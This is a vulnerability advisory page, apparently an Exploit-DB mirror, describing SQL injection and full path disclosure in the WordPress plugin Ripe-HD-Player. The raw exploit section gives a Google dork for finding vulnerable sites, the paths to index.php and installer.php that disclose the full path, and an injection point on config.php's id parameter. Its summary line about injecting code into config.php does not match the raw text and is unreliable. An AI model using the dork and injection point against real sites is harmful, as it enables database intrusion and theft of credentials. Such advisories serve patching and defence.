Wordpress plugins - ripe-hd-player FD/SQL Injection Vulnerability

vendor:

Ripe-HD-Player

by:

Zikou-16

7,5

CVSS

HIGH

FD/SQL Injection

CWE

Product Name: Ripe-HD-Player

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7, Backtrack 5r3

2020

WordPress plugins – ripe-hd-player FD/SQL Injection Vulnerability

The attacker can access to the database & get username & password ....... & disclosure the Full Path. The exploit involves accessing the index.php and installer.php files and injecting malicious code into the config.php file.

Mitigation:

Ensure that all user input is validated and filtered before being used in a SQL query.

Source

Exploit-DB raw data:

-------------------------------------------------------------------
Wordpress plugins - ripe-hd-player FD/SQL Injection Vulnerability 
-------------------------------------------------------------------
# Vendor: http://www.hitasoft.com/products.php 
#####
# Author => Zikou-16
# E-mail => zikou16x@gmail.com
# Facebook => http://fb.me/Zikou.se
# Google Dork => inurl:"/wp-content/plugins/ripe-hd-player/"
# Tested on : Windows 7 , Backtrack 5r3
####
 
#=> Exploit Info :
------------------
# The attacker can access to the database & get username & password ....... &  disclosure the Full Path 
------------------

#=> Exploit :
------------------
1#=> Full Path Disclosure :

http://[target]/[path]/wp-content/plugins/ripe-hd-player/index.php
http://[target]/[path]/wp-content/plugins/ripe-hd-player/installer.php 

-------
2#=> SQL Injection 

http://[target]/[path]/wp-content/plugins/ripe-hd-player/config.php?id=2'[inj3ct h3re]

------------------------------ <= Th3 End ^_^'